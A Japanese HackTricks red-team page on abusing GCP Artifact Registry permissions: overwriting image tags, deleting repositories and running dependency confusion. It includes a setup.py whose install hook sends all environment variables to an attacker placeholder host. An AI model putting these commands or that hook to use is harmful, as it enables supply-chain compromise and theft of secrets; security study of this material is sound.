GCP - Artifact Registry Privesc

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Artifact Registry

Artifact Registryに関する詳細は次を参照してください:

GCP - Artifact Registry Enum

artifactregistry.repositories.uploadArtifacts

この権限があると、攻撃者はDocker imagesのような悪意のあるコードを含むアーティファクトの新しいバージョンをアップロードできます:

Artifact RegistryにDocker imageをアップロード ```bash # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-docker -docker.pkg.dev

tag the image to upload it

docker tag : -docker.pkg.dev///:

Upload it

docker push -docker.pkg.dev///:

</details>

> [!CAUTION]
> 既存のイメージと同じ名前とタグで新しい**悪意のあるdocker**イメージをアップロードできることが確認されました。そのため、**古いイメージはタグを失い**、次回そのタグでイメージをダウンロードすると**悪意のあるイメージがダウンロードされます**。

<details>

<summary>Pythonライブラリをアップロードする</summary>

**まずアップロードするライブラリを作成します**(レジストリから最新バージョンをダウンロードできる場合、この手順は省略できます):

1.  **プロジェクト構成を設定する**:

- ライブラリ用の新しいディレクトリを作成します(例:`hello_world_library`)。
- このディレクトリ内に、パッケージ名のディレクトリを作成します(例:`hello_world`)。
- パッケージディレクトリ内に `__init__.py` ファイルを作成します。このファイルは空でも、パッケージの初期化を含めても構いません。

<details>
<summary>プロジェクト構成を作成</summary>

```bash
mkdir hello_world_library
cd hello_world_library
mkdir hello_world
touch hello_world/__init__.py
  1. ライブラリのコードを書く:
  • hello_world ディレクトリ内にモジュール用の新しいPythonファイルを作成します(例:greet.py)。
  • 「Hello, World!」関数を作成します:
ライブラリモジュールを作成
# hello_world/greet.py
def say_hello():
return "Hello, World!"
  1. setup.py ファイルを作成する:
  • hello_world_library のルートに setup.py ファイルを作成します。
  • このファイルはライブラリのメタデータを含み、Pythonにインストール方法を伝えます。
setup.py ファイルを作成
# setup.py
from setuptools import setup, find_packages

setup(
name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
# Any dependencies your library needs
],
)

では、ライブラリをアップロードします:

  1. パッケージをビルドする:
  • hello_world_library のルートから次を実行します:
Pythonパッケージをビルド
python3 setup.py sdist bdist_wheel
  1. twine の認証を設定する(パッケージのアップロードに使用):
  • twine がインストールされていることを確認します(pip install twine)。
  • 認証情報を設定するには gcloud を使用します:
twine を使ってパッケージをアップロード ```sh twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://-python.pkg.dev/// dist/* ```
  1. ビルドのクリーンアップ
ビルド成果物をクリーンアップ ```bash rm -rf dist build hello_world.egg-info ```

Caution

既に存在するバージョンと同じバージョンのpythonライブラリをアップロードすることはできませんが、greater versions(もしくは可能ならバージョン末尾に追加の**.0 at the endを付ける — pythonでは動作しないことがあります)、またはdelete the last version an upload a new one with**(artifactregistry.versions.delete):

アーティファクトのバージョンを削除
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>

artifactregistry.repositories.downloadArtifacts

この権限があれば、download artifactsしてsensitive informationvulnerabilitiesを検索できます。

Docker イメージをダウンロード:

Artifact Registryから**Docker**イメージをダウンロード ```sh # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-docker -docker.pkg.dev

Dowload image

docker pull -docker.pkg.dev///:

</details>

**python** ライブラリをダウンロード:

<details>
<summary>Artifact Registry から **python** ライブラリをダウンロード</summary>
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
  • リモートと標準のレジストリが仮想レジストリで混在し、同じパッケージが両方に存在する場合はどうなりますか?このページを確認してください:

GCP - Artifact Registry Persistence

artifactregistry.tags.delete, artifactregistry.versions.delete, artifactregistry.packages.delete, (artifactregistry.repositories.get, artifactregistry.tags.get, artifactregistry.tags.list)

レジストリからアーティファクト(例: Docker イメージ)を削除する:

Artifact Registry から Docker イメージを削除 ```bash # Delete a docker image gcloud artifacts docker images delete -docker.pkg.dev///: ```

artifactregistry.repositories.delete

リポジトリ全体を削除する(コンテンツがあっても):

Artifact Registry リポジトリを削除 ``` gcloud artifacts repositories delete --location= ```

artifactregistry.repositories.setIamPolicy

この権限を持つ攻撃者は、前述したいくつかのリポジトリに対する攻撃を実行するための権限を自身に付与することができる。

Artifact Registry Read & Write を介した他サービスへのピボット

  • Cloud Functions

Cloud Function が作成されると、新しい docker イメージがプロジェクトの Artifact Registry にプッシュされる。私はそのイメージを新しいものに置き換えたり、現在のイメージ(および cache イメージ)を削除してみたが、何も変わらず、Cloud Function は動作し続けた。したがって、バケットと同様に Race Condition attack を悪用して実行される docker コンテナを変更できる可能性がある が、保存されたイメージを単に変更するだけでは Cloud Function を侵害することはできない

  • App Engine

App Engine は Artifact Registry 内に docker イメージを作成するが、サービス内のイメージを変更して App Engine インスタンスを削除(つまり新しいインスタンスがデプロイされる)しても、実行されるコードは変わらない
バケットと同様の Race Condition attack を行えば実行されるコードを上書きできる可能性 はあるかもしれないが、これはテストしていない。

artifactregistry.repositories.update

攻撃者がこの問題を悪用するために特定の Artifact Registry 権限は必要ない — 必要なのは脆弱な virtual-repository の構成だけである。これは、virtual repository がリモートの public repository(例: PyPI、npm)と内部リポジトリを結合しており、リモートソースの優先度が同等か高い場合に発生する。両方に同名のパッケージが存在する場合、システムは最も高いバージョンを選択する。攻撃者は内部パッケージ名を知っていて、対応する public registry にパッケージを公開できればよい。

artifactregistry.repositories.update 権限を持っていれば、攻撃者は virtual repository の upstream 設定を変更して意図的にこの脆弱な構成を作り、Dependency Confusion を永続化手段として利用し、開発者や CI/CD が自動的にインストールする可能性のある悪意のあるパッケージを挿入できる。

攻撃者は内部パッケージの悪意あるバージョンを public repository に高いバージョン番号で作成する。Python パッケージの場合、これは正規のものと類似したパッケージ構成を用意することを意味する。

mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"

その後、インストール時に実行される悪意のあるコードを含む setup.py ファイルが作成される。このファイルは private repository にあるものより高いバージョン番号を指定している必要がある。

cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse

def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)

class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()

setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF

パッケージをビルドし、wheel を削除して、インストール時にコードが実行されるようにします。

python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl

悪意のあるパッケージを公開リポジトリにアップロードする(例えば、test.pypi.org は Python 用)。

pip install twine
twine upload --repository testpypi dist/*

システムやサービスが仮想リポジトリを使ってパッケージをインストールすると、悪意のあるバージョンの方が(バージョン番号等で)高く、リモートリポジトリの優先度が等しいかそれより高いため、正当な内部リポジトリのものではなく公開リポジトリから悪意のあるバージョンをダウンロードします。

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする